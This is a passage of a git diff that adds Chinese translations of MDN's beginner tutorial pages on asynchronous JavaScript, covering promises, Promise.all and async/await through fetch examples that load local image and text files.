{{htmlelement("img")}} 元素中;(<a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/simple-fetch-chained.html">see it live also</a>,<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch-chained.html">the source code</a>):</p> + +<pre class="brush: js notranslate">fetch('coffee.jpg') +.then(response => response.blob()) +.then(myBlob => { + let objectURL = URL.createObjectURL(myBlob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +}) +.catch(e => { + console.log('There has been a problem with your fetch operation: ' + e.message); +});</pre> + +<h3 id="缺陷_5">缺陷</h3> + +<p>Promise链可能很复杂,难以解析。如果你嵌套了许多promises,你最终可能会遇到类似的麻烦来回调地狱。例如:</p> + +<pre class="brush: js notranslate">remotedb.allDocs({ + include_docs: true, + attachments: true +}).then(function (result) { + var docs = result.rows; + docs.forEach(function(element) { + localdb.put(element.doc).then(function(response) { + alert("Pulled doc with id " + element.doc._id + " and added to local db."); + }).catch(function (err) { + if (err.name == 'conflict') { + localdb.get(element.doc._id).then(function (resp) { + localdb.remove(resp._id, resp._rev).then(function (resp) { +// et cetera...</pre> + +<p>最好使用promises的链功能,这样使用更平顺,更易于解析的结构:</p> + +<pre class="brush: js notranslate">remotedb.allDocs(...).then(function (resultOfAllDocs) { + return localdb.put(...); +}).then(function (resultOfPut) { + return localdb.get(...); +}).then(function (resultOfGet) { + return localdb.put(...); +}).catch(function (err) { + console.log(err); +});</pre> + +<p>乃至:</p> + +<pre class="brush: js notranslate">remotedb.allDocs(...) +.then(resultOfAllDocs => { + return localdb.put(...); +}) +.then(resultOfPut => { + return localdb.get(...); +}) +.then(resultOfGet => { + return localdb.put(...); +}) +.catch(err => console.log(err));</pre> + +<p>这涵盖了很多基础知识。对于更完整的论述,请参阅诺兰劳森的<a href="https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">We have a problem with promises</a>。</p> + +<h3 id="浏览器兼容性_5">浏览器兼容性</h3> + +<p>{{Compat("javascript.builtins.Promise")}}</p> + +<h3 id="更多信息_5">更多信息</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise reference</a></li> +</ul> + +<h2 id="Promise.all">Promise.all()</h2> + +<p>一种JavaScript功能,允许您等待多个promises完成,然后根据所有其他promises的结果运行进一步的操作。</p> + +<table class="standard-table"> + <caption>Useful for...</caption> + <thead> + <tr> + <th scope="col">Single delayed operation</th> + <th scope="col">Repeating operation</th> + <th scope="col">Multiple sequential operations</th> + <th scope="col">Multiple simultaneous operations</th> + </tr> + <tr> + <td>No</td> + <td>No</td> + <td>No</td> + <td>Yes</td> + </tr> + </thead> +</table> + +<h3 id="代码示例_6">代码示例</h3> + +<p>以下示例从服务器获取多个资源,并使用<code>Promise.all()</code>等待所有资源可用,然后显示所有这些资源–– <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-all.html">see it live</a>,并查看<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">source code</a>:</p> + +<pre class="brush: js notranslate">function fetchAndDecode(url, type) { + // Returning the top level promise, so the result of the entire chain is returned out of the function + return fetch(url).then(response => { + // Depending on what type of file is being fetched, use the relevant function to decode its contents + if(type === 'blob') { + return response.blob(); + } else if(type === 'text') { + return response.text(); + } + }) + .catch(e => { + console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message); + }); +} + +// Call the fetchAndDecode() method to fetch the images and the text, and store their promises in variables +let coffee = fetchAndDecode('coffee.jpg', 'blob'); +let tea = fetchAndDecode('tea.jpg', 'blob'); +let description = fetchAndDecode('description.txt', 'text'); + +// Use Promise.all() to run code only when all three function calls have resolved +Promise.all([coffee, tea, description]).then(values => { + console.log(values); + // Store each value returned from the promises in separate variables; create object URLs from the blobs + let objectURL1 = URL.createObjectURL(values[0]); + let objectURL2 = URL.createObjectURL(values[1]); + let descText = values[2]; + + // Display the images in <img> elements + let image1 = document.createElement('img'); + let image2 = document.createElement('img'); + image1.src = objectURL1; + image2.src = objectURL2; + document.body.appendChild(image1); + document.body.appendChild(image2); + + // Display the text in a paragraph + let para = document.createElement('p'); + para.textContent = descText; + document.body.appendChild(para); +});</pre> + +<h3 id="缺陷_6">缺陷</h3> + +<ul> + <li>如果<code>Promise.all()</code>拒绝,那么你在其数组参数中输入的一个或多个promise(s)就会被拒绝,或者可能根本不返回promises。你需要检查每一个,看看他们返回了什么。</li> +</ul> + +<h3 id="浏览器兼容性_6">浏览器兼容性</h3> + +<p>{{Compat("javascript.builtins.Promise.all")}}</p> + +<h3 id="更多信息_6">更多信息</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises#Running_code_in_response_to_multiple_promises_fulfilling">Running code in response to multiple promises fulfilling</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all() reference</a></li> +</ul> + +<h2 id="Asyncawait">Async/await</h2> + +<p>构造在promises之上的语法糖,允许您使用更像编写同步回调代码的语法来运行异步操作。</p> + +<table class="standard-table"> + <caption>Useful for...</caption> + <thead> + <tr> + <th scope="col">Single delayed operation</th> + <th scope="col">Repeating operation</th> + <th scope="col">Multiple sequential operations</th> + <th scope="col">Multiple simultaneous operations</th> + </tr> + <tr> + <td>No</td> + <td>No</td> + <td>Yes</td> + <td>Yes (in combination with <code>Promise.all()</code>)</td> + </tr> + </thead> +</table> + +<h3 id="代码示例_7">代码示例</h3> + +<p>以下示例是我们之前看到的简单承诺示例的重构,该示例获取并显示图像,使用async / await编写(<a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-refactored-fetch.html">see it live</a>,并查看<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-refactored-fetch.html">source code</a>):</p> + +<pre class="brush: js notranslate">async function myFetch() { + let response = await fetch('coffee.jpg'); + let myBlob = await response.blob(); + + let objectURL = URL.createObjectURL(myBlob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +} + +myFetch();</pre> + +<h3 id="缺陷_7">缺陷</h3> + +<ul> + <li>您不能在非<code>async</code>函数内或代码的顶级上下文环境中使用<code>await</code>运算符。这有时会导致需要创建额外的函数封包,这在某些情况下会略微令人沮丧。但大部分时间都值得。</li> + <li>浏览器对async / await的支持不如promises那样好。如果你想使用async / await但是担心旧的浏览器支持,你可以考虑使用<a href="https://babeljs.io/">BabelJS</a> 库 - 这允许你使用最新的JavaScript编写应用程序,让Babel找出用户浏览器需要的更改。</li> +</ul> + +<h3 id="浏览器兼容性_7">浏览器兼容性</h3> + +<p>{{Compat("javascript.statements.async_function")}}</p> + +<h3 id="更多信息_7">更多信息</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">Async function reference</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">Await operator reference</a></li> +</ul> + +<p>{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</p> + +<h2 id="本章内容">本章内容</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Concepts">异步编程的基本概念</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Introducing">JavaScript异步简介</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript合作异步:超时和间隔</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Promises">使用Promises:优雅的异步编程</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Async_await">使用async和await:让异步编程更简单</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">选择正确的方法</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/异步/index.html b/files/zh-cn/learn/javascript/异步/index.html new file mode 100644 index 0000000000..3d89f5a060 --- /dev/null +++ b/files/zh-cn/learn/javascript/异步/index.html @@ -0,0 +1,59 @@ +--- +title: 异步JavaScript +slug: learn/JavaScript/异步 +tags: + - JavaScript + - Promises + - requestAnimationFrame + - 初学者 + - 回调函数 + - 异步 + - 指南 + - 等待 + - 脚本编程 + - 设置定时器 + - 设置间隔 +translation_of: Learn/JavaScript/Asynchronous +--- +<div></div> + +<div>{{LearnSidebar}}</div> + +<div></div> + +<p class="summary"><span class="seoSummary">在这个模块,我们将查看 {{Glossary("asynchronous")}} {{Glossary("JavaScript")}},异步为什么很重要,以及怎样使用异步来有效处理潜在的阻塞操作,比如从服务器上获取资源。</span></p> + +<h2 id="预备知识">预备知识</h2> + +<p>异步JavaScript 是一个相当高级的话题,建议你先完成( <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a> 和 <a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a>) 两个模块的学习后再来学习。</p> + +<p>如果你还不熟悉异步编程的概念,请从 <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">通用异步编程概念</a>开始. 如果熟悉的话,可以直接从<a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">介绍异步JavaScript</a> 开始.</p> + +<div class="note"> +<p><strong>Note</strong>: 如果在当前阅读本文档而使用的电子设备(电脑/平板/其他)上,你没有权限生成自己的文件,你可以使用 <a href="http://jsbin.com/">JSBin</a> or <a href="https://thimble.mozilla.org/">Thimble</a> 在线编程工具来尝试文章里面的代码示例</p> +</div> + +<h2 id="指南">指南</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">一般异步编程概念</a></dt> + <dd> + <p>浏览 异步相关的重要概念,在浏览器和JS里面的应用,学习本模块其他文章之前,你应该理解这些基本的概念。</p> + </dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">介绍异步JS</a></dt> + <dd>这篇文章简单概括同步JS遇到的问题,首次提到一些不同的异步JS技术,他们是如何解决同步JS的问题</dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Loops_and_intervals">合作异步JS:Timeouts and intervals</a></dt> + <dd>在这里介绍JS传统的异步方法:在一段时间后运行 或者 在设定时间周期反复运行,看看这些技术如何使用,有什么内在的问题.</dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">优雅的处理异步操作:Promises</a></dt> + <dd>Promises 是JS一个相对比较新的特性,你可以使用它来延迟一些操作直到前面的代码已经返回结果。对于时间上顺序完成的一系列操作,这个真的有用。本文展示promises 如何工作,使用WebAPIs何处会见到它, 最重要的:怎样写你自己的promises.</dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">让异步编程简单: async and await</a></dt> + <dd>Promises 有点复杂, 所以现代的浏览器都实现了 <code>async</code> 函数和 <code>await</code> 操作符 —--前者允许标准函数隐式地和 promises 工作, 后者可以在<code>async</code> 函数里面使用,等待promises运行结束,函数再继续运行。</dd> + <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">选择正确的方法</a></dt> + <dd>结束本模块之前,回顾一下已经讨论的编程技术和特性:什么时候用哪个。有推荐,也有常见的陷阱提醒。</dd> +</dl> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="https://eloquentjavascript.net/11_async.html">Asynchronous Programming</a> from the fantastic <a href="https://eloquentjavascript.net/">Eloquent JavaScript</a> online book by Marijn Haverbeke.</li> +</ul> diff --git a/files/zh-cn/learn/javascript/异步/promises语法/index.html b/files/zh-cn/learn/javascript/异步/promises语法/index.html new file mode 100644 index 0000000000..a817a71d79 --- /dev/null +++ b/files/zh-cn/learn/javascript/异步/promises语法/index.html @@ -0,0 +1,589 @@ +--- +title: 优雅的异步处理 +slug: learn/JavaScript/异步/Promises语法 +translation_of: Learn/JavaScript/Asynchronous/Promises +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</div> + +<p class="summary"><strong>Promise</strong> 是 JavaScript 语言的一个相对较新的功能,允许你推迟进一步的操作,直到上一个操作完成或响应其失败。这对于设置一系列异步操作以正常工作非常有用。本文向你展示了promises如何工作,如何在Web API中使用它们以及如何编写自己的API</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的计算机素养,具备基础的JavaScript知识</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解并使用学习如何使用Promises</td> + </tr> + </tbody> +</table> + +<h2 id="什么是promises">什么是promises?</h2> + +<p>我们在教程的第一篇文章中简要地了解了 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a>,接下来我们将在更深层次理解Promise。</p> + +<p>本质上,Promise 是一个对象,代表操作的中间状态 —— 正如它的单词含义 '承诺' ,它保证在未来可能返回某种结果。虽然 Promise 并不保证操作在何时完成并返回结果,但是它保证当结果可用时,你的代码能正确处理结果,当结果不可用时,你的代码同样会被执行,来优雅的处理错误。</p> + +<p>通常你不会对一个异步操作从开始执行到返回结果所用的时间感兴趣(除非它耗时过长),你会更想在任何时候都能响应操作结果,当然它不会阻塞其余代码的执行就更好了。</p> + +<p>你与 Promise 常见的交互之一就是 Web API 返回的 promise 对象。让我们设想一个视频聊天应用程序,该程序有一个展示用户的朋友列表的窗口,可以点击朋友旁边的按钮对朋友视频呼叫。</p> + +<p>该按钮的处理程序调用 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} 来访问用户的摄像头和麦克风。由于 <code>getUserMedia()</code> 必须确保用户具有使用这些设备的权限,并询问用户要使用哪个麦克风和摄像头(或者是否仅进行语音通话,以及其他可能的选项),因此它会产生阻塞,直到用户做出所有的决定,并且摄像头和麦克风都已启用。此外,用户可能不会立即响应权限请求。所以 <code>getUserMedia()</code> 可能需要很长时间。</p> + +<p>由于 <code>getUserMedia()</code> 是在浏览器的主线程进行调用,整个浏览器将会处于阻塞状态直到 <code>getUserMedia()</code> 返回,这是不应该发生的;不使用Promise,浏览器将处于不可用状态直到用户为摄像头和麦克风做出决定。因此 <code>getUserMedia()</code> 返回一个Promise对象,即 {{jsxref("promise")}},一旦 {{domxref("MediaStream")}} 流可用才去解析,而不是等待用户操作、启动选中的设备并直接返回从所选资源创建的 {{domxref("MediaStream")}} 流。</p> + +<p>上述视频聊天应用程序的代码可能像下面这样:</p> + +<pre class="brush: js notranslate">function handleCallButton(evt) { + setStatusMessage("Calling..."); + navigator.mediaDevices.getUserMedia({video: true, audio: true}) + .then(chatStream => { + selfViewElem.srcObject = chatStream; + chatStream.getTracks().forEach(track => myPeerConnection.addTrack(track, chatStream)); + setStatusMessage("Connected"); + }).catch(err => { + setStatusMessage("Failed to connect"); + }); +} +</pre> + +<p>这个函数在开头调用 <code>setStatusMessage()</code> 来更新状态显示信息"Calling...", 表示正在尝试通话。接下来调用 <code>getUserMedia()</code>,请求具有视频及音频轨的流,一旦获得这个流,就将其显示在"selfViewElem"的video元素中。接下来将这个流的每个轨道添加到表示与另一个用户的连接的 <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>,参见{{domxref("RTCPeerConnection")}}。在这之后,状态显示为"Connected"。</p> + +<p>如果<code>getUserMedia()</code>失败,则catch块运行。这使用<code>setStatusMessage()</code>更新状态框以指示发生错误。</p> + +<p>这里重要的是<code>getUserMedia()</code>调用几乎立即返回,即使尚未获得相机流。即使<code>handleCallButton()</code>函数向调用它的代码返回结果,当<code>getUserMedia()</code>完成工作时,它也会调用你提供的处理程序。只要应用程序不假设流式传输已经开始,它就可以继续运行。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong> 如果你有兴趣,可以在文章<a href="/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>中了解有关此高级主题的更多信息。在该示例中使用与此类似的代码,但更完整。</p> +</div> + +<h2 id="回调函数的麻烦"> 回调函数的麻烦</h2> + +<p>要完全理解为什么 promise 是一件好事,应该回想之前的回调函数,理解它们造成的困难。</p> + +<p>我们来谈谈订购披萨作为类比。为了使你的订单成功,你必须按顺序执行,不按顺序执行或上一步没完成就执行下一步是不会成功的:</p> + +<ol> + <li>选择配料。如果你是优柔寡断,这可能需要一段时间,如果你无法下定决心或者决定换咖喱,可能会失败。</li> + <li>下订单。返回比萨饼可能需要一段时间,如果餐厅没有烹饪所需的配料,可能会失败。</li> + <li>然后你收集你的披萨吃。如果你忘记了自己的钱包,那么这可能会失败,所以无法支付比萨饼的费用!</li> +</ol> + +<p>对于旧式<a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing#Callbacks">callbacks</a>,上述功能的伪代码表示可能如下所示:</p> + +<pre class="brush: js notranslate">chooseToppings(function(toppings) { + placeOrder(toppings, function(order) { + collectOrder(order, function(pizza) { + eatPizza(pizza); + }, failureCallback); + }, failureCallback); +}, failureCallback);</pre> + +<p>这很麻烦且难以阅读(通常称为“回调地狱”),需要多次调用<code>failureCallback()</code>(每个嵌套函数一次),还有其他问题。</p> + +<h3 id="使用promise改良">使用promise改良</h3> + +<p>Promises使得上面的情况更容易编写,解析和运行。如果我们使用异步promises代表上面的伪代码,我们最终会得到这样的结果:</p> + +<pre class="brush: js notranslate">chooseToppings() +.then(function(toppings) { + return placeOrder(toppings); +}) +.then(function(order) { + return collectOrder(order); +}) +.then(function(pizza) { + eatPizza(pizza); +}) +.catch(failureCallback);</pre> + +<p>这要好得多 - 更容易看到发生了什么,我们只需要一个<code>.catch()</code>块来处理所有错误,它不会阻塞主线程(所以我们可以在等待时继续玩视频游戏为了准备好收集披萨),并保证每个操作在运行之前等待先前的操作完成。我们能够以这种方式一个接一个地链接多个异步操作,因为每个<code>.then()</code>块返回一个新的promise,当<code>.then()</code>块运行完毕时它会解析。聪明,对吗?</p> + +<p>使用箭头函数,你可以进一步简化代码:</p> + +<pre class="brush: js notranslate">chooseToppings() +.then(toppings => + placeOrder(toppings) +) +.then(order => + collectOrder(order) +) +.then(pizza => + eatPizza(pizza) +) +.catch(failureCallback);</pre> + +<p>甚至这样:</p> + +<pre class="brush: js notranslate">chooseToppings() +.then(toppings => placeOrder(toppings)) +.then(order => collectOrder(order)) +.then(pizza => eatPizza(pizza)) +.catch(failureCallback);</pre> + +<p>这是有效的,因为使用箭头函数 <code>() => x</code> 是 <code>()=> {return x;}</code> 的有效简写; 。</p> + +<p>你甚至可以这样做,因为函数只是直接传递它们的参数,所以不需要额外的函数层:</p> + +<pre class="brush: js notranslate">chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback);</pre> + +<p>但是,这并不容易阅读,如果你的块比我们在此处显示的更复杂,则此语法可能无法使用。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 你可以使用 <code>async/await</code> 语法进行进一步的改进,我们将在下一篇文章中深入讨论。</p> +</div> + +<p>最基本的,promise与事件监听器类似,但有一些差异:</p> + +<ul> + <li>一个promise只能成功或失败一次。它不能成功或失败两次,并且一旦操作完成,它就无法从成功切换到失败,反之亦然。</li> + <li>如果promise成功或失败并且你稍后添加成功/失败回调,则将调用正确的回调,即使事件发生在较早的时间。</li> +</ul> + +<h2 id="解释promise的基本语法:一个真实的例子"> 解释promise的基本语法:一个真实的例子</h2> + +<p>Promises 很重要,因为大多数现代Web API都将它们用于执行潜在冗长任务的函数。要使用现代Web技术,你需要使用promises。在本章的后面我们将看看如何编写自己的promises,但是现在我们将看一些你将在Web API中遇到的简单示例。</p> + +<p>在第一个示例中,我们将使用<code>fetch()</code>方法从Web获取图像,<code>blob()</code> 方法来转换获取响应的原始内容到 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob">Blob</a> 对象,然后在 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img"><img> </a>元素内显示该<code>blob</code>。这与我们在 <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing#Asynchronous_JavaScript">first article of the series</a>中看到的示例非常相似,但是会在构建你自己的基于 promise 的代码时有所不同。 </p> + +<div class="blockIndicator note"> +<p><strong>注意: </strong>下列代码无法直接运行(i.e. via a <code>file://</code> URL)。你需要<a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">本地测试服务器</a>,或是 <a href="https://glitch.com/">Glitch</a> 和 <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Using_Github_pages">GitHub pages</a> 这样的在线解决方案。</p> +</div> + +<ol> + <li> + <p>首先,下载我们的 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">simple HTML template</a>和<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg">sample image file</a>。</p> + </li> + <li> + <p>将 {{htmlelement("script")}} 元素添加在HTML {{htmlelement("body")}} 的底部。</p> + </li> + <li> + <p>在 {{HTMLElement("script")}} 元素内,添加以下行:</p> + + <pre class="brush: js notranslate">let promise = fetch('coffee.jpg');</pre> + + <p>这会调用 <code>fetch()</code> 方法,将图像的URL作为参数从网络中提取。这也可以将options对象作为可选的第二个参数,但我们现在只使用最简单的版本。我们将 <code>fetch()</code> 返回的promise对象存储在一个名为promise的变量中。正如我们之前所说的,这个对象代表了一个最初既不成功也不失败的中间状态 - 这个状态下的promise的官方术语叫作<strong>pending</strong>。</p> + </li> + <li>为了响应成功完成操作(在这种情况下,当返回{{domxref("Response")}}时),我们调用promise对象的.<code>then()</code>方法。 <code>.then()</code>块中的回调(称为执行程序)仅在promise调用成功完成时运行并返回{{domxref("Response")}}对象 - 在promise-speak中,当它已被满足时。它将返回的{{domxref("Response")}}对象作为参数传递。</li> +</ol> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: <code>.then()</code>块的工作方式类似于使用<code>AddEventListener()</code>向对象添加事件侦听器时的方式。它不会在事件发生之前运行(当promise履行时)。最显着的区别是<code>.then()</code>每次使用时只运行一次,而事件监听器可以多次调用。</p> +</div> + +<p>我们立即对此响应运行<code>blob()</code>方法以确保响应主体完全下载,并且当它可用时将其转换为我们可以执行某些操作的<code>Blob</code>对象。返回的结果如下:</p> + +<pre class="brush: js notranslate">response => response.blob()</pre> + +<p>这是下面的简写</p> + +<pre class="brush: js notranslate">function(response) { + return response.blob(); +} +</pre> + +<p>好的,我们还需要做点额外的工作。Fetch promises 不会产生 404 或 500错误,只有在产生像网路故障的情况时才会不工作。总的来说,Fetch promises 总是成功运行,即使<a href="https://developer.mozilla.org/en-US/docs/Web/API/Response/ok">response.ok</a> 属性是<code> false</code>。为了产生404错误,我们需要判断 <code>response.ok</code> ,如果是 <code>false</code>,抛出错误,否则返回 blob。就像下面的代码这样做。</p> + +<pre class="notranslate"><code>let promise2 = promise.then(response => { + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } else { + return response.blob(); + } +});</code></pre> + +<p>5. 每次调用<code>.then()</code>都会创建一个新的promise。这非常有用;因为<code>blob()</code>方法也返回一个promise,我们可以通过调用第二个promise的<code>.then()</code>方法来处理它在履行时返回的<code>Blob</code>对象。因为我们想要对<code>blob</code>执行一些更复杂的操作,而不仅仅运行单个方法并返回结果,这次我们需要将函数体包装成花括号(否则会抛出错误)。</p> + +<p>将以下内容添加到代码的末尾:</p> + +<pre class="brush: js notranslate">let promise3 = promise2.then(myBlob => {})</pre> + +<p>6. 现在让我们填写执行程序函数的主体。在花括号内添加以下行:</p> + +<pre class="notranslate"><code>let objectURL = URL.createObjectURL(myBlob); +let image = document.createElement('img'); +image.src = objectURL; +document.body.appendChild(image);</code></pre> + +<p>这里我们运行{{domxref("URL.createObjectURL()")}}方法,将其作为<code>Blob</code>在第二个promise实现时返回的参数传递。这将返回指向该对象的URL。然后我们创建一个{{htmlelement("img")}}元素,将其<code>src</code>属性设置为等于对象URL并将其附加到DOM,这样图像就会显示在页面上!</p> + +<p>如果你保存刚刚创建的HTML文件并将其加载到浏览器中,你将看到图像按预期显示在页面中。干得好!</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 你可能会注意到这些例子有点做作。你可以取消整个<code>fetch()</code>和<code>blob()</code>链,只需创建一个<img>元素并将其<code>src</code>属性值设置为图像文件的URL,即<code>coffee.jpg</code>。然而,我们选择了这个例子,因为它以简单的方式展示了promise,而不是真实世界的适当性。</p> +</div> + +<h3 id="响应失败">响应失败</h3> + +<p>缺少一些东西 - 如果其中一个promise失败(<strong>rejects</strong>,in promise-speak),目前没有什么可以明确地处理错误。我们可以通过运行前一个promise的 <code>.catch()</code> 方法来添加错误处理。立即添加:</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> errorCase <span class="operator token">=</span> promise3<span class="punctuation token">.</span><span class="function token">catch</span><span class="punctuation token">(</span><span class="parameter token">e</span> <span class="operator token">=></span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'There has been a problem with your fetch operation: '</span> <span class="operator token">+</span> e<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>要查看此操作,请尝试拼错图像的URL并重新加载页面。该错误将在浏览器的开发人员工具的控制台中报告。</p> + +<p>如果你根本不操心包括的 <code>.catch()</code> 块,这并没有做太多的事情,但考虑一下(指.catch()块) ––这会使我们可以完全控制错误处理方式。在真实的应用程序中,你的<code>.catch()</code>块可以重试获取图像,或显示默认图像,或提示用户提供不同的图像URL等等。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 你可以参考 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/simple-fetch.html">our version of the example live</a> (参阅 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch.html">source code</a> ).</p> +</div> + +<h3 id="将代码块链在一起">将代码块链在一起</h3> + +<p>这是写出来的一种非常简便的方式;我们故意这样做是为了帮助你清楚地了解发生了什么。如本文前面所示,你可以将<code>.then()</code>块(以及<code>.catch()</code>块)链接在一起。上面的代码也可以这样写(参阅GitHub上的<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch-chained.html">simple-fetch-chained.html</a> ):</p> + +<pre class="brush: js notranslate">fetch('coffee.jpg') +.then(response => response.blob()) +.then(myBlob => { + let objectURL = URL.createObjectURL(myBlob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +}) +.catch(e => { + console.log('There has been a problem with your fetch operation: ' + e.message); +});</pre> + +<p>请记住,履行的promise所返回的值将成为传递给下一个 <code>.then()</code> 块的executor函数的参数。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: promise中的<code>.then()/catch()</code>块基本上是同步代码中<code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code>块的异步等价物。请记住,同步<code>try ... catch</code>在异步代码中不起作用。</p> +</div> + +<h2 id="Promise术语回顾">Promise术语回顾</h2> + +<p>在上面的部分中有很多要介绍的内容,所以让我们快速回过头来给你<a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Promises#Promise_terminology_recap">一个简短的指南</a>,你可以将它添加到书签中,以便将来更新你的记忆。你还应该再次阅读上述部分,以确保这些概念坚持下去。</p> + +<ol> + <li>创建promise时,它既不是成功也不是失败状态。这个状态叫作<strong>pending</strong>(待定)。</li> + <li>当promise返回时,称为 <strong>resolved</strong>(已解决). + <ol> + <li>一个成功<strong>resolved</strong>的promise称为<strong>fullfilled</strong>(<strong>实现</strong>)。它返回一个值,可以通过将<code>.then()</code>块链接到promise链的末尾来访问该值。<code> .then()</code>块中的执行程序函数将包含promise的返回值。</li> + <li>一个不成功<strong>resolved</strong>的promise被称为<strong>rejected</strong>(<strong>拒绝</strong>)了。它返回一个原因(<strong>reason</strong>),一条错误消息,说明为什么拒绝promise。可以通过将<code>.catch()</code>块链接到promise链的末尾来访问此原因。</li> + </ol> + </li> +</ol> + +<h2 id="运行代码以响应多个Promises的实现"> 运行代码以响应多个Promises的实现</h2> + +<p>上面的例子向我们展示了使用promises的一些真正的基础知识。现在让我们看一些更高级的功能。首先,链接进程一个接一个地发生都很好,但是如果你想在一大堆Promises全部完成之后运行一些代码呢?</p> + +<p> 你可以使用巧妙命名的<a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a>静态方法完成此操作。这将一个promises数组作为输入参数,并返回一个新的Promise对象,只有当数组中的所有promise都满足时才会满足。它看起来像这样:</p> + +<pre class="brush: js notranslate">Promise.all([a, b, c]).then(values => { + ... +});</pre> + +<p>如果它们都<strong>实现</strong>,那么一个包含所有这些结果的数组将作为<code>.all()</code>的参数传给其链接的<code>.then()</code>块的执行器函数。如果传递给<code>Promise.all()</code>的任何promise都<strong>拒绝</strong>,整个块将<strong>拒绝</strong>。</p> + +<p>这非常有用。想象一下,我们正在获取信息以在内容上动态填充页面上的UI功能。在许多情况下,接收所有数据然后才显示完整内容,而不是显示部分信息是有意义的。</p> + +<p>让我们构建另一个示例来展示这一点。</p> + +<ol> + <li> + <p>下载我们页面模板(<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">page template</a>)的新副本,并再次在结束</ body>标记之前放置一个<script>元素。</p> + </li> + <li> + <p>下载我们的源文件(<a 